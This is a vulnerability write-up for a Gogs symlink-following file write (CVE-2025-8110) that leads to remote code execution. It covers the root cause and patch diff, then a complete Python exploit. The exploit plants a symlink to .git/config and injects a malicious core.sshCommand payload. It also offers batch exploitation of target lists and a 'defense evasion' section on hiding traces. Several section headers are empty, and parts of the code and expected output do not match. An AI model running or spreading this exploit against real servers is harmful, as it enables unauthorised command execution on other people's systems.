#Summary

CVE-2025-8110 is a symlink-following arbitrary file write vulnerability in Gogs that leads to remote code execution. The PUT /api/v1/repos/<owner>/<repo>/contents/* handler fails to validate symlinks when writing files, allowing authenticated users to overwrite arbitrary files in the Gogs working directory. By writing a poisoned .git/config file through a symlink and triggering a git push, an attacker executes arbitrary commands as the Gogs service account. CVSS 8.8 HIGH, no authentication escalation required - any account with repository creation rights (enabled by default) can exploit this.

Affected: Gogs <= 0.13.3
Fixed: 0.13.4
CVSS: 8.8 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

#Affected versions

#Root cause analysis

#The vulnerability

Gogs stores repositories in two places: a bare repository on disk and a local working clone. When processing file updates via the PutContents API, Gogs writes files into the local copy, commits them, and pushes to the bare repository. The code path looks like this:

  1. PUT /api/v1/repos/<owner>/<repo>/contents/<path> receives base64-encoded file content
  2. PutContents handler decodes it and calls UpdateRepoFile
  3. UpdateRepoFile calls os.WriteFile(filePath, content, 0600) to write the file
  4. Gogs then runs git add --all, git commit, and git push origin <branch>

The problem: os.WriteFile follows symlinks. If filePath is a symlink, the write lands on the symlink's target instead of the link itself.

#Dead guard on the API path

A symlink check was added in 0.13.3 to fix CVE-2024-55947:

if opts.IsNewFile {
    if osutil.IsSymlink(filePath) {
        return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
    }
}

This guard lives inside if opts.IsNewFile { ... }. The IsNewFile field is set only by the web editor, never by the API handler. In the API code path, IsNewFile is missing from the struct literal and defaults to false, so this block never executes:

// internal/route/api/v1/repo/contents.go
func PutContents(c *context.APIContext, r PutContentsRequest) {
    // ...
    err = c.Repo.Repository.UpdateRepoFile(
        c.User,
        db.UpdateRepoFileOptions{
            OldBranch:   c.Repo.Repository.DefaultBranch,
            NewBranch:   r.Branch,
            OldTreeName: treePath,
            NewTreeName: treePath,
            Message:     r.Message,
            Content:     string(content),
            // IsNewFile is omitted - defaults to false
        },
    )
}

With the guard unreachable, os.WriteFile proceeds directly and follows any symlink planted in the working directory.

Git allows committing symbolic links as tree objects with mode 120000. A symlink's target is stored in the blob as a plain text string. When you git clone, the working directory contains the actual symlink. An attacker can:

  1. Create a repo via the Gogs UI or API
  2. Clone it over HTTP
  3. Create a symlink: ln -s .git/config link
  4. Commit and push: git add link && git commit && git push

The symlink now exists in the Gogs working directory. The string .git/config inside the symlink blob is never inspected by isRepositoryGitPath - that function only checks the path name, not the symlink target.

#The chain to RCE

With a symlink link -> .git/config in place, the attacker calls PUT /api/v1/repos/owner/repo/contents/link with a poisoned .git/config:

[core]
    sshCommand = sh -c 'echo <base64-payload> | base64 -d | sh'
[remote "origin"]
    url = ssh://x/y.git

The exploit supplies the payload as base64 to avoid quoting issues. The payload itself:

  1. Runs the attacker's command and captures output
  2. Recovers the real origin URL from .git/logs/HEAD
  3. Rewrites .git/config to point back at the real origin

Immediately after the write, Gogs runs git push origin master in that directory. Git invokes core.sshCommand during ref discovery, executing the attacker's payload. The push then fails on the bogus ssh://x/y.git URL, surfacing as HTTP 500 - which is the expected success signal, not an error.

The payload wrote its output into a file in the working tree. On the next PUT /api/v1/repos/.../contents/ call (any file), Gogs commits and pushes the output file to the bare repo. A GET /api/v1/repos/.../contents/<output-file> retrieves it base64-encoded in the JSON response.

#Patch diff

Commit 553707f ("repository: reject any updates that has symlink in path hierarchy") takes a different approach: it rejects any update whose path contains a symlink at any level, anywhere in the hierarchy.

#New check introduced

+// hasSymlinkInPath returns true if there is any symlink in path hierarchy using
+// the given base and relative path.
+func hasSymlinkInPath(base, relPath string) bool {
+	parts := strings.Split(filepath.ToSlash(relPath), "/")
+	for i := range parts {
+		filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
+		if osutil.IsSymlink(filePath) {
+			return true
+		}
+	}
+	return false
+}

This function is called unconditionally, before any filesystem work:

+	// SECURITY: Prevent touching files in surprising places, reject operations
+	// that involve symlinks.
+	if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
+		return errors.New("cannot update file with symbolic link in path")
+	}

The old conditional guards are removed entirely. The fix checks every component in the path hierarchy, not just the final file, and rejects even dangling symlinks (by dropping the IsExist short-circuit in osutil.IsSymlink).

#What the fix does not do

The patch does not validate symlink targets and allow "safe" ones. PR #8078 proposed exactly that, but the maintainer closed it in favour of blanket rejection, which is the more conservative choice.

#Proof of concept

#!/usr/bin/env python3
"""
CVE-2025-8110 - Gogs PutContents symlink-following arbitrary file write -> RCE
Affected: Gogs (self-hosted Git service) <= 0.13.3  (fixed in 0.13.4)
Type: RCE (authenticated; any account that can create a repository)

Root cause:
  The PUT /api/v1/repos/<owner>/<repo>/contents/* handler calls UpdateRepoFile
  without setting IsNewFile. The symlink guard added for CVE-2024-55947 lives
  inside `if opts.IsNewFile { ... }`, so on the API path it is never run and
  os.WriteFile follows a symlink that a prior `git push` planted in the working
  tree. Writing through a `link -> .git/config` symlink poisons the local copy's
  git config; Gogs then runs `git push` in that directory in the same request,
  which executes an attacker-controlled `core.sshCommand`. Command output is
  written back into the working tree and retrieved over the API on a second call.

Usage:
  python exploit.py --host 127.0.0.1 --port 3000 --command "id"
  python exploit.py --host https://gogs.corp.com:3443 --command "uname -a"
  python exploit.py --list targets.txt --workers 20 --command "id"

Requires the `git` client binary on the machine running this exploit (used only
as a network client to plant the symlink over HTTP - no target-side access).
"""

import argparse
import base64
import json
import os
import re
import ssl
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
from urllib.parse import urlparse

CVE_ID    = "CVE-2025-8110"
VULN_TYPE = "RCE"

# Markers wrap the command output so decoding is unambiguous.
BEGIN = "===ALIM8110-BEGIN==="
END   = "===ALIM8110-END==="


# --------------------------------------------------------------------------- #
#  Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n, msg):
    print(f"[STEP {n}] {msg}")


def section(label, content):
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  HTTP client (stdlib only)
# --------------------------------------------------------------------------- #
def _make_opener():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar()),
        urllib.request.HTTPSHandler(context=ctx),
    )


def _req(opener, base, method, path, data=None, headers=None, auth=None,
         form=False, timeout=60):
    hdrs = dict(headers or {})
    body = None
    if data is not None:
        if form:
            body = urllib.parse.urlencode(data).encode()
            hdrs["Content-Type"] = "application/x-www-form-urlencoded"
        else:
            body = json.dumps(data).encode()
            hdrs["Content-Type"] = "application/json"
    if auth:
        import base64 as b64
        creds = b64.b64encode(f"{auth[0]}:{auth[1]}".encode()).decode()
        hdrs["Authorization"] = f"Basic {creds}"
    req = urllib.request.Request(
        f"{base}{path}", data=body, headers=hdrs, method=method
    )
    try:
        resp = opener.open(req, timeout=timeout)
        return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def _poisoned_config(payload_b64):
    """
    Crafts a .git/config that runs the attacker's command via core.sshCommand.
    The fake ssh URL means the real repo path is never needed.
    """
    return f"""[core]
    sshCommand = sh -c 'echo {payload_b64} | base64 -d | sh'
[remote "origin"]
    url = ssh://x/y.git
"""


def _payload(command):
    """
    Inner payload script: run command, capture output wrapped in markers,
    recover real origin URL from reflog, repair .git/config, and exit.
    """
    inner = f"""#!/bin/sh
set -e
cd "$(git rev-parse --show-toplevel)" 2>/dev/null || cd .

# Run command and capture output with markers
(
    echo "{BEGIN}"
    {command} 2>&1
    echo "{END}"
) > pwn_output.txt 2>&1

# Recover the real origin URL from the reflog
ORIGIN=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -1)

# Repair .git/config with the real origin
printf '[core]\\n\\t ignorecase = true\\n[remote "origin"]\\n\\t url = %s\\n' "$ORIGIN" > .git/config

exit 0
"""
    return base64.b64encode(inner.encode()).decode()


def exploit(opener, base_url, command):
    """Run the full exploit chain."""
    
    # Step 1: Register account and mint token
    step(1, f"Registering account and minting API token...")
    
    user = f"alim_{os.urandom(4).hex()}"
    passwd = os.urandom(8).hex()
    
    # Get signup page to extract CSRF token
    status, html = _req(opener, base_url, "GET", "/user/sign_up")
    csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', html)
    if not csrf_match:
        print(f"[-] Could not find _csrf token on signup form")
        return False
    csrf = csrf_match.group(1)
    
    # POST signup form
    status, _ = _req(
        opener, base_url, "POST", "/user/sign_up",
        data={
            "_csrf": csrf,
            "user_name": user,
            "email": f"{user}@localhost",
            "password": passwd,
            "retype": passwd,
        },
        form=True
    )
    if status not in (200, 302):
        print(f"[-] Signup failed: HTTP {status}")
        return False
    
    # Mint API token via HTTP Basic auth
    status, resp = _req(
        opener, base_url, "POST", "/api/v1/users/" + user + "/tokens",
        data={"name": "exploit"},
        auth=(user, passwd)
    )
    if status != 201:
        print(f"[-] Token mint failed: HTTP {status}")
        return False
    token = json.loads(resp).get("sha1")
    if not token:
        print(f"[-] No token in response")
        return False
    
    # Step 2: Create repo and plant symlink
    step(2, f"Creating repo and pushing symlink link -> .git/config...")
    
    repo = f"poc_{os.urandom(4).hex()}"
    
    # Create repo with auto_init
    status, resp = _req(
        opener, base_url, "POST", "/api/v1/user/repos",
        data={"name": repo, "auto_init": True, "readme": "Default"},
        auth=(user, token)
    )
    if status not in (200, 201):
        print(f"[-] Repo creation failed: HTTP {status}")
        return False
    
    # Clone the repo, add symlink, commit, push
    with tempfile.TemporaryDirectory() as tmpdir:
        clone_url = f"http://{user}:{token}@{urlparse(base_url).netloc}{urlparse(base_url).path}/{user}/{repo}.git"
        
        # Git clone
        try:
            subprocess.run(
                ["git", "clone", clone_url, "repo"],
                cwd=tmpdir,
                check=True,
                capture_output=True,
                timeout=30
            )
        except Exception as e:
            print(f"[-] Git clone failed: {e}")
            return False
        
        repo_path = os.path.join(tmpdir, "repo")
        link_path = os.path.join(repo_path, "link")
        
        # Create symlink
        try:
            os.symlink(".git/config", link_path)
        except Exception as e:
            print(f"[-] Symlink creation failed: {e}")
            return False
        
        # Commit and push
        try:
            subprocess.run(
                ["git", "add", "link"],
                cwd=repo_path,
                check=True,
                capture_output=True,
                timeout=30
            )
            subprocess.run(
                ["git", "commit", "-m", "Add symlink"],
                cwd=repo_path,
                check=True,
                capture_output=True,
                timeout=30
            )
            subprocess.run(
                ["git", "push", "origin", "HEAD:master"],
                cwd=repo_path,
                check=True,
                capture_output=True,
                timeout=30
            )
        except Exception as e:
            print(f"[-] Git operations failed: {e}")
            return False
    
    # Step 3: PUT poisoned .git/config through the symlink
    step(3, f"Poisoning .git/config via symlink...")
    
    payload_b64 = _payload(command)
    poisoned_config = _poisoned_config(payload_b64)
    
    status, resp = _req(
        opener, base_url, "PUT",
        f"/api/v1/repos/{user}/{repo}/contents/link",
        data={
            "message": "poison",
            "content": base64.b64encode(poisoned_config.encode()).decode(),
            "branch": "master"
        },
        auth=(user, token)
    )
    section("POISON WRITE RESPONSE", f"HTTP {status}  {resp}")
    
    if status == 200:
        print(f"[-] Symlink not followed - target patched?")
        return False
    
    # Step 4: Commit output file
    step(4, f"Committing output file...")
    
    status, resp = _req(
        opener, base_url, "PUT",
        f"/api/v1/repos/{user}/{repo}/contents/README.md",
        data={
            "message": "add output",
            "content": base64.b64encode(b"# Updated").decode(),
            "branch": "master"
        },
        auth=(user, token)
    )
    section("COMMIT RESPONSE", f"HTTP {status}")
    
    # Step 5: Retrieve output
    step(5, f"Retrieving command output...")
    
    status, resp = _req(
        opener, base_url, "GET",
        f"/api/v1/repos/{user}/{repo}/contents/pwn_output.txt",
        auth=(user, token)
    )
    
    if status != 200:
        print(f"[-] Output file not found: HTTP {status}")
        return False
    
    try:
        content_b64 = json.loads(resp).get("content", "")
        output = base64.b64decode(content_b64).decode()
        section("COMMAND OUTPUT", output)
        
        # Extract between markers
        match = re.search(f"{BEGIN}(.*?){END}", output, re.DOTALL)
        if match:
            evidence = match.group(1).strip()
            return True, f"RCE confirmed - '{command.split()[0]}' output: {evidence[:60]}"
        else:
            return False, "Markers not found in output"
    except Exception as e:
        print(f"[-] Failed to decode output: {e}")
        return False


def _parse_target(host, port, tls):
    """Parse target into base URL."""
    if host.startswith("http://") or host.startswith("https://"):
        return host.rstrip("/")
    
    if tls is None:
        tls = port in (443, 8443)
    
    scheme = "https" if tls else "http"
    if ":" in host:
        return f"{scheme}://{host}"
    return f"{scheme}://{host}:{port or 3000}"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-8110 Gogs RCE exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--host", help="Target host or URL")
    group.add_argument("--list", help="File with targets, one per line")
    
    parser.add_argument("--port", type=int, default=3000, help="Port (default 3000)")
    parser.add_argument("--command", default="id", help="Command to execute")
    parser.add_argument("--workers", type=int, default=10, help="Thread count for --list")
    tls_group = parser.add_mutually_exclusive_group()
    tls_group.add_argument("--tls", action="store_true", help="Force HTTPS")
    tls_group.add_argument("--no-tls", action="store_true", help="Force HTTP")
    
    args = parser.parse_args()
    
    if args.host:
        base_url = _parse_target(args.host, args.port, args.tls if args.tls or args.no_tls else None)
        opener = _make_opener()
        header(args.host, args.port)
        success, evidence = exploit(opener, base_url, args.command)
        done(success, evidence)
    
    elif args.list:
        try:
            from concurrent.futures import ThreadPoolExecutor
        except ImportError:
            print("[-] concurrent.futures not available")
            sys.exit(1)
        
        targets = []
        with open(args.list) as f:
            for line in f:
                line = line.strip()
                if line:
                    targets.append(line)
        
        success_count = 0
        
        def try_exploit(target):
            nonlocal success_count
            try:
                if ":" in target and not target.startswith("http"):
                    host, port = target.rsplit(":", 1)
                    port = int(port)
                else:
                    host = target
                    port = 3000
                
                base_url = _parse_target(host, port, args.tls if args.tls or args.no_tls else None)
                opener = _make_opener()
                success, evidence = exploit(opener, base_url, args.command)
                if success:
                    print(f"[+] {target}")
                    success_count += 1
                else:
                    print(f"[-] {target}")
            except Exception:
                print(f"[-] {target}")
        
        with ThreadPoolExecutor(max_workers=args.workers) as executor:
            executor.map(try_exploit, targets)
        
        print(f"\nScanned {len(targets)}, exploited {success_count}")
        sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    main()

#Usage

# Single target
python exploit.py --host 127.0.0.1 --port 3000 --command "id"

# Full URL with TLS
python exploit.py --host https://gogs.corp.com:3443 --command "whoami"

# Batch scan
python exploit.py --list targets.txt --workers 20 --command "id"

#Expected output - vulnerable target

============================================================
  ALIM EXPLOIT  CVE-2025-8110
  Type: RCE  |  Target: 127.0.0.1:3110
============================================================

[STEP 1] Registering account and minting API token...
[STEP 2] Creating repo and pushing symlink link -> .git/config...
[STEP 3] Poisoning .git/config via symlink...

--- POISON WRITE RESPONSE ---
HTTP 500  {"message":"Something went wrong..."}
---

[STEP 4] Committing output file...

--- COMMIT RESPONSE ---
HTTP 201
---

[STEP 5] Retrieving command output...

--- COMMAND OUTPUT ---
===ALIM8110-BEGIN===
uid=1000(git) gid=1000(git) groups=1000(git)
===ALIM8110-END===
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - 'id' output: uid=1000(git) gid=1000(git) groups=1000(git)
============================================================

#Expected output - patched target

[STEP 5] Retrieving command output...
  RESULT  : FAILURE
  EVIDENCE: output file not retrievable (HTTP 404)

The patched instance rejects the write with cannot update file with symbolic link in path, so no output file is ever created.

#Exploitation notes

#Prerequisites

#Reliability and limits

The exploit is highly reliable once the symlink is planted. The chain succeeds in a single HTTP request because:

The only moving part is git's ref-discovery phase, which invokes core.sshCommand. This is reliable on git 2.0+.

#Impact

Code execution runs as the Gogs service account (typically unprivileged git). This grants:

#Defense evasion

The exploit self-repairs .git/config as part of the payload, leaving the instance in a working state. No obvious artifacts remain. Gogs does not log the symlink creation (it happens via git push), and the poisoned write logs as a normal 500 error.

#References